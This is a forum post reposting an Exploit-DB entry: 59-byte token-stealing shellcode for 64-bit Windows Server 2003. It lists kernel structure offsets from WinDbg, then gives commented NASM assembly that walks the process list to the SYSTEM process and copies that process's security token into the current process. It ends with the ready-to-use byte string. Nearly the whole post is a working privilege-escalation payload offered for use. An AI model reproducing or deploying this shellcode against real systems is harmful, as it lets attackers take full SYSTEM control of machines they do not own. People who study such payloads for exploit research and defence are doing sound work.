Nytro Posted August 21, 2015 Report Posted August 21, 2015 [h=1]Win2003 x64 - Token Stealing shellcode - 59 bytes[/h];token stealing shellcode Win 2003 x64;based on the widely available x86 version;syntax for NASM;Author: Csaba Fitzl, @theevilbit;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;important structures and offsets;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;kd> dt -r1 nt!_TEB; +0x110 SystemReserved1 : [54] Ptr64 Void;??????+0x078 KTHREAD <----- NOT DOCUMENTED, can't get it from WINDBG directly;kd> dt -r1 nt!_KTHREAD; +0x048 ApcState : _KAPC_STATE; +0x000 ApcListHead : [2] _LIST_ENTRY; +0x020 Process : Ptr64 _KPROCESS;kd> dt -r1 nt!_EPROCESS; +0x0d8 UniqueProcessId : Ptr64 Void; +0x0e0 ActiveProcessLinks : _LIST_ENTRY; +0x000 Flink : Ptr64 _LIST_ENTRY; +0x008 Blink : Ptr64 _LIST_ENTRY; +0x160 Token : _EX_FAST_REF; +0x000 Object : Ptr64 Void; +0x000 RefCnt : Pos 0, 4 Bits; +0x000 Value : Uint8BBITS 64global startsection .textstart:mov rax, [gs:0x188] ;Get current ETHREAD inmov rax, [rax+0x68] ;Get current EPROCESS addressmov rcx, rax ;Copy current EPROCESS address to RCXfind_system_process:mov rax, [rax+0xe0] ;Next EPROCESS ActiveProcessLinks.Flinksub rax, 0xe0 ;Go to the beginning of the EPROCESS structuremov r9 , [rax+0xd8] ;Copy PID to R9cmp r9 , 0x4 ;Compare R9 to SYSTEM PID (=4)jnz short find_system_process ;If not SYSTEM got to next EPROCESSstealing:mov rdx, [rax+0x160] ;Copy SYSTEM process token address to RDXmov [rcx+0x160], rdx ;Steal token with overwriting our current process's token addressretn 0x10;byte stream:;"\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48\x8b\x40\x68\x48\x89\xc1";"\x48\x8b\x80\xe0\x00\x00\x00\x48\x2d\xe0\x00\x00\x00\x4c\x8b\x88";"\xd8\x00\x00\x00\x49\x83\xf9\x04\x75\xe6\x48\x8b\x90\x60\x01\x00";"\x00\x48\x89\x91\x60\x01\x00\x00\xc2\x10\x00"Sursa: https://www.exploit-db.com/exploits/37895/ Quote